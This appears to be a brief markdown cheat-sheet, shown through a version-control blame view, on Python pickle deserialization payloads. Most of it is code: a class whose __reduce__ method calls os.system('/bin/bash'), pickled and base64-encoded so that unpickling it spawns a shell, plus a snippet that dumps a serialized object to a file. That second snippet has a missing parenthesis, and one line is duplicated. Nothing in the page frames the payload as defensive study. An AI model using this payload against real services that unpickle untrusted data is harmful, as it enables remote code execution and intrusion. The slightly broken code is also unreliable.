2021-12-04 00:26:03 +01:00
|
|
|
# Pickle
|
|
|
|
|
|
|
|
|
|
## Payload
|
|
|
|
|
* Inject payload
|
|
|
|
|
```python
|
|
|
|
|
import pickle
|
|
|
|
|
import os
|
|
|
|
|
import base64
|
|
|
|
|
class evil_object(object):
|
|
|
|
|
def __reduce__(self):
|
|
|
|
|
return(os.system, ('/bin/bash',))
|
|
|
|
|
x = evil_object()
|
|
|
|
|
x = evil_object()
|
|
|
|
|
y = pickle.dumps(x)
|
|
|
|
|
base64.b64encode(y)
|
|
|
|
|
```
|
2022-03-19 23:39:17 +01:00
|
|
|
|
|
|
|
|
* Dump serialized object via
|
|
|
|
|
```python
|
|
|
|
|
pickle.dump(SerializedPickle(), open('pickled.out', 'wb')
|
|
|
|
|
```
|
